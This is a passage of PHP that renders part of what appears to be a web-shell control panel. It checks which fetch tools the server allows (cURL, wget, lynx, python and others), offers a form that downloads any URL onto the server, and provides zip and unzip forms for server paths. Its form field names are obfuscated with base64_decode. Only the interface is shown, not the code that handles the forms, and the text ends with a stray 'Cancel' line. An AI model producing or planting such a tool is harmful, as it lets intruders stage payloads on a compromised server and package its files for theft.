echo '" file_get_contents: ' . ($fgc_available ? '<font color="#00ff00">Available</font>' : '<font color="red">Not Available</font>') . '<br>';
echo '" cURL: ' . ($curl_available ? '<font color="#00ff00">Available</font>' : '<font color="red">Not Available</font>') . '<br>';
echo '" fopen: ' . ($fopen_available ? '<font color="#00ff00">Available</font>' : '<font color="red">Not Available</font>') . '<br>';
echo '" wget: ' . ($wget_available ? '<font color="#00ff00">Available</font>' : '<font color="red">Not Available</font>') . '<br>';
echo '" lynx: ' . ($lynx_available ? '<font color="#00ff00">Available</font>' : '<font color="red">Not Available</font>') . '<br>';
echo '" python: ' . ($python_available ? '<font color="#00ff00">Available</font>' : '<font color="red">Not Available</font>') . '<br>';
echo '</div>';
echo '<form method="POST" style="margin:10px;">
    <table width="100%">
        <tr>
            <td width="20%">URL:</td>
            <td><input type="text" name="' . base64_decode('dXJs') . '" placeholder="https://example.com/file.txt" style="width:100%;color:#ef6c00;background:#000;border:1px solid #ef6c00;padding:5px;"></td>
        </tr>
        <tr>
            <td width="20%">File Name:</td>
            <td><input type="text" name="' . base64_decode('ZmlsZW5hbWU=') . '" placeholder="(Optional) Auto-extracted from URL" style="width:100%;color:#ef6c00;background:#000;border:1px solid #ef6c00;padding:5px;"></td>
        </tr>
        <tr>
            <td width="20%">Method:</td>
            <td>
                <select name="' . base64_decode('bWV0aG9k') . '" style="width:100%;color:#ef6c00;background:#000;border:1px solid #ef6c00;padding:5px;">';
                if ($fgc_available) echo '<option value="file_get_contents">file_get_contents</option>';
                if ($curl_available) echo '<option value="curl">cURL</option>';
                if ($fopen_available) echo '<option value="fopen">fopen</option>';
                if ($wget_available) echo '<option value="wget">wget</option>';
                if ($lynx_available) echo '<option value="lynx">lynx</option>';
                if ($python_available) echo '<option value="python">python</option>';
                if (!$fgc_available && !$curl_available && !$fopen_available && !$wget_available && !$lynx_available && !$python_available) {
                    echo '<option value="none">No methods available</option>';
                }
echo '                </select>
            </td>
        </tr>
        <tr>
            <td colspan="2" align="center"><input type="submit" name="' . base64_decode('ZG93bmxvYWQ=') . '" value="Download File" style="color:#000;background:#ef6c00;border:1px solid #ef6c00;padding:5px;margin-top:10px;"></td>
        </tr>
    </table>
</form>';
echo '<div style="margin:10px;color:#00ff00;font-family:monospace;font-size:12px;">
    <strong>Info:</strong><br>
    " file_get_contents: Requires allow_url_fopen enabled<br>
    " cURL: Requires cURL extension<br>
    " fopen: Alternative method using fopen with URLs<br>
    " wget: Uses wget command line tool<br>
    " lynx: Uses lynx browser to download<br>
    " python: Uses Python urllib module<br>
    " File name is optional - will auto-extract from URL if empty
</div>';
echo '</div>';

echo '<div id="archive" class="tab-content" style="display:none;">';
echo '<div style="margin:10px;color:#00ff00;font-family:monospace;font-size:12px;">';
echo '<strong>ZipArchive Status:</strong> ' . (class_exists('ZipArchive') ? '<font color="#00ff00">Available</font>' : '<font color="red">Not Available</font>') . '<br>';
echo '</div>';
echo '<form method="POST" style="margin:10px;">';
echo '    <table width="100%">';
echo '        <tr>';
echo '            <td colspan="2" style="background:#111;padding:5px;"><strong style="color:#ef6c00;">ZIP (Compress)</strong></td>';
echo '        </tr>';
echo '        <tr>';
echo '            <td width="20%">ZIP Name:</td>';
echo '            <td><input type="text" name="' . base64_decode('emlwX25hbWU=') . '" placeholder="archive.zip" style="width:100%;color:#ef6c00;background:#000;border:1px solid #ef6c00;padding:5px;"></td>';
echo '        </tr>';
echo '        <tr>';
echo '            <td width="20%">Path:</td>';
echo '            <td><input type="text" name="' . base64_decode('emlwX3BhdGg=') . '" placeholder="' . htmlspecialchars($p) . '/folder" style="width:100%;color:#ef6c00;background:#000;border:1px solid #ef6c00;padding:5px;"></td>';
echo '        </tr>';
echo '        <tr>';
echo '            <td width="20%">Type:</td>';
echo '            <td>';
echo '                <select name="' . base64_decode('emlwX3R5cGU=') . '" style="width:100%;color:#ef6c00;background:#000;border:1px solid #ef6c00;padding:5px;">';
echo '                    <option value="folder">Folder (Recursive)</option>';
echo '                    <option value="file">File Only</option>';
echo '                </select>';
echo '            </td>';
echo '        </tr>';
echo '        <tr>';
echo '            <td colspan="2" align="center"><input type="submit" name="' . base64_decode('emlw') . '" value="Create ZIP" style="color:#000;background:#ef6c00;border:1px solid #ef6c00;padding:5px;margin-top:10px;"></td>';
echo '        </tr>';
echo '    </table>';
echo '</form>';
echo '<form method="POST" style="margin:10px;">';
echo '    <table width="100%">';
echo '        <tr>';
echo '            <td colspan="2" style="background:#111;padding:5px;"><strong style="color:#ef6c00;">UNZIP (Extract)</strong></td>';
echo '        </tr>';
echo '        <tr>';
echo '            <td width="20%">ZIP File:</td>';
echo '            <td><input type="text" name="' . base64_decode('dW56aXBfZmlsZQ==') . '" placeholder="' . htmlspecialchars($p) . '/archive.zip" style="width:100%;color:#ef6c00;background:#000;border:1px solid #ef6c00;padding:5px;"></td>';
echo '        </tr>';
echo '        <tr>';
echo '            <td width="20%">Extract To:</td>';
echo '            <td><input type="text" name="' . base64_decode('ZXh0cmFjdF90bw==') . '" placeholder="' . htmlspecialchars($p) . '/extracted" style="width:100%;color:#ef6c00;background:#000;border:1px solid #ef6c00;padding:5px;"></td>';
echo '        </tr>';
echo '        <tr>';
echo '            <td colspan="2" align="center"><input type="submit" name="' . base64_decode('dW56aXA=') . '" value="Extract ZIP" style="color:#000;background:#ef6c00;border:1px solid #ef6c00;padding:5px;margin-top:10px;"></td>';
echo '        </tr>';
echo '    </table>';
echo '</form>';
echo '<div style="margin:10px;color:#00ff00;font-family:monospace;font-size:12px;">';
echo '    <strong>Info:</strong><br>';
echo '    " ZIP: Compress file or folder to .zip archive<br>';
echo '    " UNZIP: Extract .zip archive to specified directory<br>';
echo '    " Requires ZipArchive PHP extension';
echo '</div>';
echo '</div>';

Cancel